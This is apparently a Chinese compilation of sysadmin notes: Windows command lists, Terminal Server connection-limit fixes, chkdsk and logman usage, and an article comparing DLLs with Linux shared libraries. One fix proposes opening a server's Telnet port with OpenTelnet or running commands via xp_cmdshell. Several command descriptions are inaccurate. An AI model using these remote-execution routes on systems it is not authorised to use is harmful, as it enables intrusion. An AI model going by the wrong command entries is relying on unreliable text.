MODE 配置系统设备。
MORE 一次显示一个结果屏幕。
MOVE 将文件从一个目录移到另一个目录。
PATH 显示或设置可执行文件的搜索路径。
PAUSE 暂停批文件的处理并显示消息。
POPD 还原 PUSHD 保存的当前目录的上一个值。
PRINT 打印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存当前目录,然后对其进行更改。
RD 删除目录。
RECOVER 从有问题的磁盘恢复可读信息。
REM 记录批文件或 CONFIG.SYS 中的注释。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替换文件。
RMDIR 删除目录。
SET 显示、设置或删除 Windows 环境变量。
SETLOCAL 开始批文件中环境更改的本地化。
SHIFT 更换批文件中可替换参数的位置。
SORT 对输入进行分类。
START 启动另一个窗口来运行指定的程序或命令。
SUBST 将路径跟一个驱动器号关联。
TIME 显示或设置系统时间。
TITLE 设置 CMD.EXE 会话的窗口标题。
TREE 以图形模式显示驱动器或路径的目录结构。
TYPE 显示文本文件的内容。
VER 显示 Windows 版本。
VERIFY 告诉 Windows 是否验证文件是否已正确
写入磁盘。
VOL 显示磁盘卷标和序列号。
XCOPY 复制文件和目录树。
appwiz.cpl------------添加删除程序
control userpasswords2--------用户帐户设置
cleanmgr-------垃圾整理
CMD--------------命令提示符可以当作是 Windows 的一个附件,Ping,Convert 这些不能在图形环境下 使用的功能要借助它来完成。
cmd------jview察看Java虚拟机版本。
command.com------调用的则是系统内置的 NTVDM,一个 DOS虚拟机。它完全是一个类似 Virtual PC 的 虚拟环境,和系统本身联系不大。当我们在命令提示符下运行 DOS 程序时,实际上也 是自动转移到 NTVDM虚拟机下,和 CMD 本身没什么关系。
calc-----------启动计算器
chkdsk.exe-----Chkdsk磁盘检查
compmgmt.msc---计算机管理
conf-----------启动 netmeeting
control userpasswords2-----User Account 权限设置
devmgmt.msc--- 设备管理器
diskmgmt.msc---磁盘管理实用程序
dfrg.msc-------磁盘碎片整理程序
drwtsn32------ 系统医生
dvdplay--------启动Media Player
dxdiag-----------DirectX Diagnostic Tool
gpedit.msc-------组策略编辑器
gpupdate /target:computer /force 强制刷新组策略
eventvwr.exe-----事件查看器
explorer-------打开资源管理器
logoff---------注销命令
lusrmgr.msc----本机用户和组
msinfo32---------系统信息
msconfig---------系统配置实用程序
net start (servicename)----启动该服务
net stop (servicename)-----停止该服务
notepad--------打开记事本
nusrmgr.cpl-------同control userpasswords,打开用户帐户控制面板
Nslookup-------IP地址侦测器
oobe/msoobe /a----检查XP是否激活
perfmon.msc----windows 性能监测程序
progman--------程序管理器
regedit----------注册表编辑器
regedt32-------注册表编辑器
regsvr32 /u *.dll----停止dll文件运行
route print------查看路由表
rononce -p ----15秒关机
rsop.msc-------组策略结果集
rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen----启动一个空白的Windows 图片和传真查看器
secpol.msc--------本地安全策略
services.msc---本地服务设置
sfc /scannow-----启动系统文件检查器
sndrec32-------录音机
taskmgr-----任务管理器(适用于2000/xp/2003)
tsshutdn-------60秒倒计时关机命令
winchat--------XP自带局域网聊天
winmsd---------系统信息
winver-----显示About Windows 窗口
wupdmgr-----------Windows Update
http://www.cnitblog.com/applezk/archive/2008/04/02/41842.html
2003的服务器终端超出最大连接数的解决办法
在命令行: mstsc /console /v:你的服务器IP: 远程 端口
例如 :
开始--运行--mstsc /console /v:222.222.215.222:3389

开始--运行--%windir%\system32\mstsc.exe /v:172.17.25.103

终端服务器超出了最大允许连接,解决方案,远程连接时加这样的参数即可: mstsc /admin

win2K/win2003终端服务器超出最大允许连接数解决之道全攻略
原因: 用 远程 桌面链接登录到终端服务器时经常会遇到“终端服务器超出最大允许链接数”诸如此类错误导致无法正常登录终端服务器,引起该问题的原因在于终端服务的缺 省链接数为2个链接,并且当登录远程 桌面后如果不是采用 注销 方式退出,而是直接关闭远程 桌面窗口,那么实际上会话并没有释放掉,而是继续保留在服务器端, 这样就会占用总的链接数,当这个数量达到最大允许值时就会出现上面的提示。
如何避免?
一 、用注销 来退出远程 桌面而不是直接关闭窗口
二 、限制已断开 链接的会话存在时间
1、从终端服务配置中修改
运行-Tscc.msc(终端服务配置)-连接-双击RDP-Tcp或右击-属性-会话-选中第一个的替代用户设置(O)-结束已断开 的会话[将默认值“从不”改为一个适当的时间,比如30分钟]
2、从组策略修改
开始-运行-gpedit.msc-计算机配置-管理模板-windows组件-终端服务-会话
右边窗口选择 为断开 的会话设置时间限制 -选择已启用,选择一个时间
三 、增加最多链接数     
1、从终端服务配置中修改:运行-Tscc.msc(终端服务配置)-连接-双击RDP-Tcp或右击-属性,选择“网卡”选项卡-修改“最大连接 数”改 成你所需的值,当然这个值不也能太大,否则会占用较多的系统资源。不过这里修改的值好像不起作用,设置成无限制时照样还是会出现本文所说的情况。 
2、组策略级别要高于终端服务配置,当启用组策略后终端服务配置中的相应选项会变成灰色不可修改
运行-gpedit.msc-计算机配置-管理模板-Windows组件-终端服务
双击右边的”限制连接数量“-选择”已启用“-填入允许的最大连接数
四、改变远程 终端模式
打开“控制面板”,双击“添加删除程序”,单击“添加删除Windows组件”,“组件”,在Windows组件向导对话框中选中“终端服务” , “下一步”,“应用服务器”,“下一步”,然后按照提示即可改变终端服务的模式。 
Windows 2000终端服务有2种运行模式: 远程 管理模式和应用程序服务器模式。远程 管理模式允许系统管理员远程 管理服务器,而且只允许2个终端会话同时登录终端服务器。应用程序服务器模式允许用户 运行一个以上应用程序,允许多个用户从终端登录访问服务器。但是,应用终端服务的用户必须有终端服务授权,即必须在90天之内在这个域或工作组中设置终端 服务授权服务器,否则用户需删除应用程序,然后再重新安装。
五、修改本地安全策略
控制面板>>管理工具>>本地安全策略>>本地策略>>安全选项>>
1、先找到>>Microsoft网络服务器:在挂起会话之前所需的空闲时间
默认为:15分钟,改为自己所需要的时间(就是登陆后无动作空闲超过多少时间后自动断开 )
2、然后找到>>网络安全:在超过登录时间后强制注销 。默认为:已禁用,一定要改为:已启用
如果已经发生解决办法:
1、首先你可以telnet到此主机上(不管你用哪种方法),当然如果能直接操作机器更好,不过直接操作就不必用命令行了,那当然是知道机器超级管理员的密码的情况下,可以使用OpenTelnet来打开远程 服务器的Telnet端口。
2、Telnet上去后,先看登陆的用户:
输入命令:query user
系统返回:
C:>query user
USERNAME        SESSIONNAME     ID    STATE     IDLE TIME    LOGON TIME
k12update       console         1     运行中         2007-3-14 14:57
此时可以看出的可能都不一样,根据具体情况而定。
ID 0 的用户是本地登陆的,ID 1 和 ID 12是3389登陆的用户,前者在运行中,后者已经断开 了,但是断开 了仍然占用系统资源和通道,我们要把它踢掉。如下进行操作即可。
输入命令:logoff 1
3、如果服务器关闭了telnet功能(这是默认的),还可以通过SqlServer的xp_cmdshell扩展存储过程,使用格式: master.dbo.xp_cmdshell '命令内容',其余可参考第二步。此方式要求有访问xp_cmdshell的权限
上面的办法基本没有用
文件:dos创建目录树.bat
内容:
MD 开发工具辅助工具
CD 开发工具辅助工具
MD 测试
CD 测试
MD 业务领域
MD 开发领域
MD 测试执行
MD 测试设计
MD 测试原理
CD..
MD 开发
CD 开发
MD 调试测试
MD 设计领域
MD 企业级应用
MD 组件开发
MD 软件复用
MD 桌面开发
MD WEB开发
MD 数据库
MD UML
MD 开发语言
CD..
MD 设计
CD 设计
MD XP
MD AOP
MD MDA
MD SOA
MD 设计方法学
MD 开发积累
MD 业务领域
MD 设计模式
MD 架构设计
MD 系统设计
MD 数据库设计
MD 界面设计
MD 功能设计
MD RUPUML
MD 面向对象
CD..
MD 需求
CD 需求
MD 测试领域
MD 设计领域
MD 系统工程
MD 沟通技巧
MD 需求方法论
MD 界面原型
MD 用例建模
MD 需求分析
MD 需求捕获
MD 业务领域
CD..
MD 基础知识
CD 基础知识
MD 多媒体
MD 并行计算
MD 网络安全
MD 人工智能
MD 数据仓库
MD 计算机网络
MD 计算机原理
MD 汇编语言
MD 编译原理
MD 操作系统
MD 离散数学
MD 数据结构
MD 数据库原理
MD 程序设计
MD 软件工程
CD..
批处理实现的ip地址切换的复杂脚本
http://space.itpub.net/10867315/viewspace-211572
几个不常用的在dos下查看用户信息的命令
http://hi.baidu.com/kv2004/blog/item/ef87534e6e42aa01b3de0592.html
net localgroup 查看用户组
net config workstation查看电脑名,登录用户
net user aaa 查看aaa用户的相关信息,包括属于哪个组

 

windows 机器资源性能监控

typeperf

 

netperf

 

logman

 

http://download.chinaunix.net/download.php?id=27015&ResourceID=7345
http://rpmfind.net/linux/rpm2html/search.php?query=netperf

 

windows 服务器性能监控

http://download.chinaunix.net/download.php?id=27015&ResourceID=7345
http://rpmfind.net/linux/rpm2html/search.php?query=netperf

 

性能参数参考打开Windows系统 ---- 点击开始 ---- 点击运行 ---- 输入perfmon

 

编辑文件:C:\PerfLogs\Configuration.txt

内容:

Html代码
  1. \Processor(_Total)\% User Time     
  2. \System\Processor Queue Length     
  3. \Memory\Available Bytes     
  4. \Memory\Committed Bytes     
  5. \Memory\Pages/sec     
  6. \PhysicalDisk(_Total)\% Disk Time     
  7. \PhysicalDisk(_Total)\Disk Read Bytes/sec     
  8. \PhysicalDisk(_Total)\Disk Write Bytes/sec     
  9. \PhysicalDisk(_Total)\Avg. Disk Queue Length     
  10. \Network Interface(Intel[R] PRO_1000 MT Network Connection)\Bytes Received/sec     
  11. \Network Interface(Intel[R] PRO_1000 MT Network Connection)\Bytes Sent/sec      

DOS 输入

C:\Users\Administrator> logman create counter PVT -m start stop -f csv -si 5 -v mmddhhmm -o C:\PerfLogs\Results\pvt.csv -cf C:\PerfLogs\Configuration.txt

 

C:\Users\Administrator> logman start PVT


C:\Users\Administrator> logman stop PVT

打开文件:C:\PerfLogs\Results\pvt_09061138.csv

 

window 创建软连接 / windows创建符号链接

C:\Users\Administrator>mklink
创建符号链接。

MKLINK [[/D] | [/H] | [/J]] Link Target

        /D      创建目录符号链接。默认为文件
                符号链接。
        /H      创建硬链接,而不是符号链接。
        /J      创建目录联接。
        Link    指定新的符号链接名称。
        Target  指定新链接引用的路径
                (相对或绝对)。

检查Windows是否支持TRIM功能

C:\Users\Administrator>fsutil behavior query disabledeletenotify
DisableDeleteNotify = 0

意味着操作系统支持TRIM,会将你的硬盘视为SSD。

Windows cmd chkdsk

chkdsk的三个步骤:

  1. 校验文件阶段
  2. 验证索引阶段
  3. 验证安全描述字符

如何取消开机磁盘检测

http://blog.hjenglish.com/hzc559977/articles/1229539.html

Chkdsk大跃进:Win8磁盘检测时间大大缩短

http://www.linuxdiyf.com/viewarticle.php?id=312436

微软在Windows Vista/7中改进了这一模式,只有当磁盘真正报错时才会运行chkdsk进行检测。但仍然有一些影响用户体验的地方:首先chkdsk的运行速度依然 和文件个数成正比普遍很慢,第二当磁盘出现严重错误时必须确保出错卷处于非活动状态才可扫描修复,碰到这种通常情况下也只能重启并开始漫长的等待。

检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误

C:\Users\Administrator>chkdsk /F D: 

C:\Users\Administrator>chkdsk /?
检查磁盘并显示状态报告。
CHKDSK [volume[[path]filename]]] [/F] [/V] [/R] [/X] [/I] [/C] [/L[:size]] [/B]
  volume         指定驱动器号(后面跟一个冒号)、
装入点或卷名。
  filename        仅用于 FAT/FAT32: 指定要检查是否有碎片的文件。
  /F              修复磁盘上的错误。
  /V              在 FAT/FAT32 上: 显示磁盘上每个文件的
完整路径和名称。
                  在 NTFS 上: 如果有清除消息,则显示。
  /R              查找损坏的扇区并恢复可读信息
                  (隐含 /F)。
  /L:size         仅用于 NTFS:  将日志文件大小更改为指定的 KB 数。如果未
                  指定大小,则显示当前
                  大小。
  /X              如果必要,则先强制卸除卷。
                  该卷的所有打开句柄都会无效
                  (隐含 /F)。
  /I              仅用于 NTFS: 对索引项进行强度较小的检查。
  /C              仅用于 NTFS: 跳过文件夹结构的
                  循环检查。
  /B              仅用于 NTFS: 重新评估该卷上的坏簇
                  (隐含 /R)
/I 或 /C 开关通过跳过对该卷的某些检查,
可减少运行 Chkdsk 所需的时间。


C:\Users\Administrator>autochk /?
C:\Windows\system32\autochk.exe 应用程序无法在 Win32 模式中运行。

 

 

动态链接库及静态链接库(windows下的.dll .lib和linux下的.so .a)

Windows下 xxx.dll文件=Windows动态链接库

Windows下 xxx.lib文件=Windows静态链接库

Linux 下 xxx.so文件=Linux动态链接库

Linux 下 xxx.a文件=Linux静态链接库

http://wenku.baidu.com/view/d16a7c14866fb84ae45c8d26.html###
库有动态与静态两种,动态通常用.so为后缀,静态用.a为后缀。例如:libhello.so libhello.a
为了在同一系统中使用不同版本的库,可以在库文件名后加上版本号为后缀,例如: libhello.so.1.0,由于程序连接默认以.so为文件后缀名。所以为了使用这些库,通常使用建立符号连接的方式。
ln -s libhello.so.1.0 libhello.so.1
ln -s libhello.so.1 libhello.so
使用库
当 要使用静态的程序库时,连接器会找出程序所需的函数,然后将它们拷贝到执行文件,由于这种拷贝是完整的,所以一旦连接成功,静态程序库也就不再需要了。然 而,对动态库而言,就不是这样。动态库会在执行程序内留下一个标记‘指明当程序执行时,首先必须载入这个库。由于动态库节省空间,linux下进行连接的 缺省操作是首先连接动态库,也就是说,如果同时存在静态和动态库,不特别指定的话,将与动态库相连接。
现在假设有一个叫hello的程序开发包,它提供一个静态库libhello.a 一个动态库libhello.so,一个头文件hello.h,头文件中提供sayhello()这个函数
/* hello.h */
void sayhello();
另外还有一些说明文档。这一个典型的程序开发包结构
1.与动态库连接
linux默认的就是与动态库连接,下面这段程序testlib.c使用hello库中的sayhello()函数
/*testlib.c*/
#include 
#include 
int main()
{
sayhello();
return 0;
}
使用如下命令进行编译
$gcc -c testlib.c -o testlib.o
用如下命令连接:
$gcc testlib.o -lhello -o testlib
在连接时要注意,假设libhello.o 和libhello.a都在缺省的库搜索路径下/usr/lib下,如果在其它位置要加上-L参数
与与静态库连接麻烦一些,主要是参数问题。还是上面的例子:
$gcc testlib.o -o testlib -WI,-Bstatic -lhello
注:这个特别的"-WI,-Bstatic"参数,实际上是传给了连接器ld.
指示它与静态库连接,如果系统中只有静态库当然就不需要这个参数了。
如果要和多个库相连接,而每个库的连接方式不一样,比如上面的程序既要和libhello进行静态连接,又要和libbye进行动态连接,其命令应为:
$gcc testlib.o -o testlib -WI,-Bstatic -lhello -WI,-Bdynamic -lbye
3.动态库的路径问题
为了让执行程序顺利找到动态库,有三种方法:
(1)把库拷贝到/usr/lib和/lib目录下。
(2)在LD_LIBRARY_PATH环境变量中加上库所在路径。例如动态库libhello.so在/home/ting/lib目录下,以bash为例,使用命令:
$export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/ting/lib
(3) 修改/etc/ld.so.conf文件,把库所在的路径加到文件末尾,并执行ldconfig刷新。这样,加入的目录下的所有库文件都可见、
4.查看库中的符号
有 时候可能需要查看一个库中到底有哪些函数,nm命令可以打印出库中的涉及到的所有符号。库既可以是静态的也可以是动态的。nm列出的符号有很多,常见的有 三种,一种是在库中被调用,但并没有在库中定义(表明需要其他库支持),用U表示;一种是库中定义的函数,用T表示,这是最常见的;另外一种是所谓的“弱 态”符号,它们虽然在库中被定义,但是可能被其他库中的同名符号覆盖,用W表示。例如,假设开发者希望知道上央提到的hello库中是否定义了 printf():
$nm libhello.so |grep printf
U printf
U表示符号printf被引用,但是并没有在函数内定义,由此可以推断,要正常使用hello库,必须有其它库支持,再使用ldd命令查看hello依赖于哪些库:
$ldd hello
libc.so.6=>/lib/libc.so.6(0x400la000)
/lib/ld-linux.so.2=>/lib/ld-linux.so.2 (0x40000000)
从上面的结果可以继续查看printf最终在哪里被定义,有兴趣可以go on
生成库
第一步要把源代码编绎成目标代码。以下面的代码为例,生成上面用到的hello库:
/* hello.c */
#include 
void sayhello()
{
printf("hello,world\n");
}
用gcc编绎该文件,在编绎时可以使用任何全法的编绎参数,例如-g加入调试代码等:
gcc -c hello.c -o hello.o
1.连接成静态库
连接成静态库使用ar命令,其实ar是archive的意思
$ar cqs libhello.a hello.o
2.连接成动态库
生成动态库用gcc来完成,由于可能存在多个版本,因此通常指定版本号:
$gcc -shared -Wl,-soname,libhello.so.1 -o libhello.so.1.0 hello.o
另外再建立两个符号连接:
$ln -s libhello.so.1.0 libhello.so.1
$ln -s libhello.so.1 libhello.so
这样一个libhello的动态连接库就生成了。最重要的是传gcc -shared 参数使其生成是动态库而不是普通执行程序。
-Wl 表示后面的参数也就是-soname,libhello.so.1直接传给连接器ld进行处理。实际上,每一个库都有一个soname,当连接器发现它正 在查找的程序库中有这样一个名称,连接器便会将soname嵌入连结中的二进制文件内,而不是它正在运行的实际文件名,在程序执行期间,程序会查找拥有 soname名字的文件,而不是库的文件名,换句话说,soname是库的区分标志。
这样做的目的主要是允许系统中多个版本的库文件共存,习惯上在命名库文件的时候通常与soname相同
libxxxx.so.major.minor
其中,xxxx是库的名字,major是主版本号,minor 是次版本号
=====================
摘要:动态链接库技术实现和设计程序常用的技术,在Windows和Linux系统中都有动态库的概念,采用动态库可以有效的减少程序大小,节省空间,提 高效率,增加程序的可扩展性,便于模块化管理。但不同操作系统的动态库由于格式 不同,在需要不同操作系统调用时需要进行动态库程序移植。本文分析和比较了两种操作系统动态库技术,并给出了将Visual C++编制的动态库移植到Linux上的方法和经验。
1、引言
动态库(Dynamic Link Library abbr,DLL)技术是程序设计中经常采用的技术。其目的减少程序的大小,节省空间,提高效率,具有很高的灵活性。采用动态库技术对于升级软件版本更加 容易。与静态库(Static Link Library)不同,动态库里面的函数不是执行程序本身的一部分,而是根据执行需要按需载入,其执行代码可以同时在多个程序中共享。
在Windows和Linux操作系统中,都可采用这种方式进行软件设计,但他们的调用方式以及程序编制方式不尽相同。本文首先分析了在这两种操作系统中 通常采用的动态库调用方法以及程序编制方式,然后分析比较了这两种方式的不同之处,最后根据实际移植程序经验,介绍了将VC++编制的Windows动态 库移植到Linux下的方法。
2、动态库技术
2.1 Windows动态库技术
动态链接库是实现Windows应用程序共享资源、节省内存空间、提高使用效率的一个重要技术手段。常见的动态库包含外部函数和资源,也有一些动态库只包 含资源,如Windows字体资源文件,称之为资源动态链接库。通常动态库以.dll,.drv、.fon等作为后缀。相应的windows静态库通常 以.lib结尾,Windows自己就将一些主要的系统功能以动态库模块的形式实现。
Windows动态库在运行时被系统加载到进程的虚拟空间中,使用从调用进程的虚拟地址空间分配的内存,成为调用进程的一部分。DLL也只能被该进程的线 程所访问。DLL的句柄可以被调用进程使用;调用进程的句柄可以被DLL使用。DLL模块中包含各种导出函数,用于向外界提供服务。DLL可以有自己的数 据段,但没有自己的堆栈,使用与调用它的应用程序相同的堆栈模式;一个DLL在内存中只有一个实例;DLL实现了代码封装性;DLL的编制与具体的编程语 言及编译器无关,可以通过DLL来实现混合语言编程。DLL函数中的代码所创建的任何对象(包括变量)都归调用它的线程或进程所有。
根据调用方式的不同,对动态库的调用可分为静态调用方式和动态调用方式。
(1)静态调用,也称为隐式调用,由编译系统完成对DLL的加载和应用程序结束时DLL卸载的编码(Windows系统负责对DLL调用次数的计数),调 用方式简单,能够满足通常的要求。通常采用的调用方式是把产生动态连接库时产生的.LIB文件加入到应用程序的工程中,想使用DLL中的函数时,只须在源 文件中声明一下。 LIB文件包含了每一个DLL导出函数的符号名和可选择的标识号以及DLL文件名,不含有实际的代码。Lib文件包含的信息进入到生成的应用程序中,被调 用的DLL文件会在应用程序加载时同时加载在到内存中。
(2)动态调用,即显式调用方式,是由编程者用API函数加载和卸载DLL来达到调用DLL的目的,比较复杂,但能更加有效地使用内存,是编制大型应用程序时的重要方式。在Windows系统中,与动态库调用有关的函数包括:
①LoadLibrary(或MFC 的AfxLoadLibrary),装载动态库。
②GetProcAddress,获取要引入的函数,将符号名或标识号转换为DLL内部地址。
③FreeLibrary(或MFC的AfxFreeLibrary),释放动态链接库。
在windows中创建动态库也非常方便和简单。在Visual C++中,可以创建不用MFC而直接用C语言写的DLL程序,也可以创建基于MFC类库的DLL程序。每一个DLL必须有一个入口点,在VC++ 中,DllMain是一个缺省的入口函数。DllMain负责初始化(Initialization)和结束(Termination)工作。动态库输出 函数也有两种约定,分别是基于调用约定和名字修饰约定。DLL程序定义的函数分为内部函数和导出函数,动态库导出的函数供其它程序模块调用。通常可以有下 面几种方法导出函数:
①采用模块定义文件的EXPORT部分指定要输入的函数或者变量。
②使用MFC提供的修饰符号_declspec(dllexport)。
③以命令行方式,采用/EXPORT命令行输出有关函数。
在windows动态库中,有时需要编写模块定义文件(.DEF),它是用于描述DLL属性的模块语句组成的文本文件。
2.2 Linux共享对象技术
在Linux操作系统中,采用了很多共享对象技术(Shared Object),虽然它和Windows里的动态库相对应,但它并不称为动态库。相应的共享对象文件以.so作为后缀,为了方便,在本文中,对该概念不进 行专门区分。Linux系统的/lib以及标准图形界面的/usr/X11R6/lib等目录里面,就有许多以so结尾的共享对象。同样,在Linux 下,也有静态函数库这种调用方式,相应的后缀以.a结束。Linux采用该共享对象技术以方便程序间共享,节省程序占有空间,增加程序的可扩展性和灵活 性。Linux还可以通过LD-PRELOAD变量让开发人员可以使用自己的程序库中的模块来替换系统模块。
同Windows系统一样,在Linux中创建和使用动态库是比较容易的事情,在编译函数库源程序时加上-shared选项即可,这样所生成的执行程序就 是动态链接库。通常这样的程序以so为后缀,在Linux动态库程序设计过程中,通常流程是编写用户的接口文件,通常是.h文件,编写实际的函数文件, 以.c或.cpp为后缀,再编写makefile文件。对于较小的动态库程序可以不用如此,但这样设计使程序更加合理。
编译生成动态连接库后,进而可以在程序中进行调用。在Linux中,可以采用多种调用方式,同Windows的系统目录(..\system32等)一 样,可以将动态库文件拷贝到/lib目录或者在/lib目录里面建立符号连接,以便所有用户使用。下面介绍Linux调用动态库经常使用的函数,但在使用 动态库时,源程序必须包含dlfcn.h头文件,该文件定义调用动态链接库的函数的原型。
(1)_打开动态链接库:dlopen,函数原型void *dlopen (const char *filename, int flag);
dlopen用于打开指定名字(filename)的动态链接库,并返回操作句柄。
(2)取函数执行地址:dlsym,函数原型为: void *dlsym(void *handle, char *symbol);
dlsym根据动态链接库操作句柄(handle)与符号(symbol),返回符号对应的函数的执行代码地址。
(3)关闭动态链接库:dlclose,函数原型为: int dlclose (void *handle);
dlclose用于关闭指定句柄的动态链接库,只有当此动态链接库的使用计数为0时,才会真正被系统卸载。
(4)动态库错误函数:dlerror,函数原型为: const char *dlerror(void); 当动态链接库操作函数执行失败时,dlerror可以返回出错信息,返回值为NULL时表示操作函数执行成功。
在取到函数执行地址后,就可以在动态库的使用程序里面根据动态库提供的函数接口声明调用动态库里面的函数。在编写调用动态库的程序的makefile文件时,需要加入编译选项-rdynamic和-ldl。
除了采用这种方式编写和调用动态库之外,Linux操作系统也提供了一种更为方便的动态库调用方式,也方便了其它程序调用,这种方式与Windows系统 的隐式链接类似。其动态库命名方式为“lib*.so.*”。在这个命名方式中,第一个*表示动态链接库的库名,第二个*通常表示该动态库的版本号,也可 以没有版本号。在这种调用方式中,需要维护动态链接库的配置文件/etc/ld.so.conf来让动态链接库为系统所使用,通常将动态链接库所在目录名 追加到动态链接库配置文件中。如具有X window窗口系统发行版该文件中都具有/usr/X11R6/lib,它指向X window窗口系统的动态链接库所在目录。为了使动态链接库能为系统所共享,还需运行动态链接库的管理命令./sbin/ldconfig。在编译所引 用的动态库时,可以在gcc采用 ?l或-L选项或直接引用所需的动态链接库方式进行编译。在Linux里面,可以采用ldd命令来检查程序依赖共享库。
3、两种系统动态库比较分析
Windows和Linux采用动态链接库技术目的是基本一致的,但由于操作系统的不同,他们在许多方面还是不尽相同,下面从以下几个方面进行阐述。
(1)动态库程序编写,在Windows系统下的执行文件格式是PE格式,动态库需要一个DllMain函数作为初始化的人口,通常在导出函数的声明时需 要有_declspec(dllexport)关键字。Linux下的gcc编译的执行文件默认是ELF格式,不需要初始化入口,亦不需要到函数做特别声 明,编写比较方便。
(2)动态库编译,在windows系统下面,有方便的调试编译环境,通常不用自己去编写makefile文件,但在linux下面,需要自己动手去编写makefile文件,因此,必须掌握一定的makefile编写技巧,另外,通常Linux编译规则相对严格。
(3)动态库调用方面,Windows和Linux对其下编制的动态库都可以采用显式调用或隐式调用,但具体的调用方式也不尽相同。
(4)动态库输出函数查看,在Windows中,有许多工具和软件可以进行查看DLL中所输出的函数,例如命令行方式的dumpbin以及VC++工具中 的DEPENDS程序。在Linux系统中通常采用nm来查看输出函数,也可以使用ldd查看程序隐式链接的共享对象文件。
(5)对操作系统的依赖,这两种动态库运行依赖于各自的操作系统,不能跨平台使用。因此,对于实现相同功能的动态库,必须为两种不同的操作系统提供不同的动态库版本。
4、动态库移植方法
如果要编制在两个系统中都能使用的动态链接库,通常会先选择在Windows的VC++提供的调试环境中完成初始的开发,毕

 

Linux fork炸*弹的分析

http://bbs.chinaunix.net/thread-2262351-1-1.html

http://blog.csdn.net/linuxgroup/article/details/4269043

[root@web02 ~]# top

-bash: fork: Resource temporarily unavailable 

出现这个问题应该是你系统某个参数值达到了最大值了,我自己测试了一下kernel.threads-max 我把这个值设置为ps -ef | wc -l 后,使用任何命令都提示bash: fork: Resource temporarily unavailable,应为我知道是我的这个kernel.threads-max 值设置小了,我重新设置了一下 /proc/sys/kernel/threads-max  所有的命令都可以使用了,楼主可以去查看是否是某个值已经达到很大了

 

EditPlus 解决,  windows下写shell的一个容易出错的地方

http://jackyrong.iteye.com/blog/846849

在windows下用工具写SHELL,一开始会发现老写好后,放到LINUX下发现有问题,  
说:syntax error: unexpected end of file  
一查,发现原来是  
dos 格式文件传输到unix系统时,会在每行的结尾多一个^M,当然也有可能看不到,但是在vi的时候,会在下面显示此文件的格式,比如 "dos.txt" [dos] 120L, 2532C字样,表示是一个[dos]格式文件,如果是MAC系统的,会显示[MAC],因为文件格式的原因有时会导致我们的unix程序,或者 shell程序出现错误,那么需要把这些dos文件格式转换成unix格式,方法是  
最好用editplus, 在win环境下用editplus将bash文件转为unix文件再上传即可,方法:  
1. editplus 2.12 中文版 下,选菜单“格式”--“文件格式” -- “Unix”  
2. editplus 3.12 英文版下,选菜单 “Document”-- “File Format(CR/LF)” -- “Change File Format...”-- “UNIX”-- “OK”  

Windows Shell 解决二

把windows下的shell写好后FTP anscii 方式传到linux/unix 机器上用vi重新编辑

[lindows@laptop ~]# cat -v partnuber20101226.sh | tr -d '^ M' > partnumber20101226.sh

ok.

一个Windows下的tail工具 (即时查看日志)

http://www.iteye.com/topic/56769

http://users.telenet.be/jbosman/

http://dl.iteye.com/topics/download/bd490e97-cf17-45db-8954-6a0f620ed42f

 

Linux Win/Windows Shell UnxUtils.rar

 

windows使用linux指令,nice: unxutils

 

http://superfofo.iteye.com/blog/600203

http://unxutils.sourceforge.net/

http://unxutils.sourceforge.net/UnxUtils.zip

http://unxutils.sourceforge.net/UnxUpdates.zip

http://dl.iteye.com/topics/download/1d8ddfa6-8ed4-39d8-9386-1a46d3ca0ce1

下载UnxUtils 以及UnxUpdates之后,解压到自己中意的文件夹,把\usr\local\wbin文件夹的绝对地址加到 

我的电脑(右键)->属性->高级->环境变量->系统变量->path值 

注意,在所加的地址之前,应该有个分号“;”以示区分。这样,你随时随地就能打开一个”cmd”console,使用如下工具: 

根据自己的需要,我加入了自己常用的三个工具:vim,perl,ssh。 

引用
agrep.exe; ansi2knr.exe; basename.exe; bc.exe; bison.exe; bunzip2.exe; bzip2.exe; bzip2recover.exe; cat.exe; chgrp.exe; chmod.exe; chown.exe; cksum.exe; cmp.exe; comm.exe; compress.exe; cp.exe; csplit.exe; cut.exe; date.exe; dc.exe; dd.exe; df.exe; diff.exe; diff3.exe; dircolors.exe; dirname.exe; du.exe; echo.exe; egrep.exe; env.exe; expand.exe; expr.exe; factor.exe; fgrep.exe; find.exe; flex.exe; fmt.exe; fold.exe; fsplit.exe; gawk.exe; gclip.exe; gplay.exe; grep.exe; gsar.exe; gunzip.exe; gzip.exe; head.exe; id.exe; indent.exe; install.exe; join.exe; jwhois.exe; less.exe; lesskey.exe; libfl.a libfl.lib ln.exe; logname.exe; ls.exe; m4.exe; make.exe; makedepend.exe; makemsg.exe; man.exe; md5sum.exe; mkdir.exe; mkfifo.exe; mknod.exe; mv.exe; mvdir.exe; nl.exe; od.exe; paste.exe; patch.exe; pathchk.exe; pclip.exe; pr.exe; printenv.exe; printf.exe; ptx.exe; pwd.exe; recode.exe; rm.exe; rman.exe; rmdir.exe; sdiff.exe; sed.exe; seq.exe; sha1sum.exe; shar.exe; sleep.exe; sort.exe; split.exe; stego.exe; su.exe; sum.exe; sync.exe; tac.exe; tail.exe; tar.exe; tee.exe; test.exe; touch.exe; tr.exe; tsort.exe; type.exe; uname.exe; unexpand.exe; uniq.exe; unrar.exe; unshar.exe; unzip.exe; uudecode.exe; uuencode.exe; wc.exe; wget.exe; wget.hlp which.exe; whoami.exe; xargs.exe; yes.exe; zcat.exe; zip.exe; zsh.exe;

 

 

 

MinGW - Minimalist GNU for Windows / MSYS-1.0.10.rar

A native Windows port of the GNU Compiler Collection (GCC)

http://www.iteye.com/topic/160930  / 那个在windows下用linux命令的软件叫啥名字来着

http://nchc.dl.sourceforge.net/project/mingw/MSYS/Base/msys-core/msys-1.0.10/MSYS-1.0.10.exe

http://dl.iteye.com/topics/download/8d5eaebd-8808-37fa-a757-7559c52fa61d

Cmd代码
  1. D:\Program Files (x86)\mini_system\bin>ls -l  
  2. total 2974  
  3. -rwxr-xr-x    1 Lindows  Administ      162 Mar 16  2004 awk  
  4. -rwxr-xr-x    1 Lindows  Administ    18432 Mar 16  2004 basename.exe  
  5. -rwxr-xr-x    1 Lindows  Administ      180 Mar 16  2004 bunzip2  
  6. -rwxr-xr-x    1 Lindows  Administ    75264 Mar 16  2004 bzip2.exe  
  7. -rwxr-xr-x    1 Lindows  Administ    22528 Mar 16  2004 cat.exe  
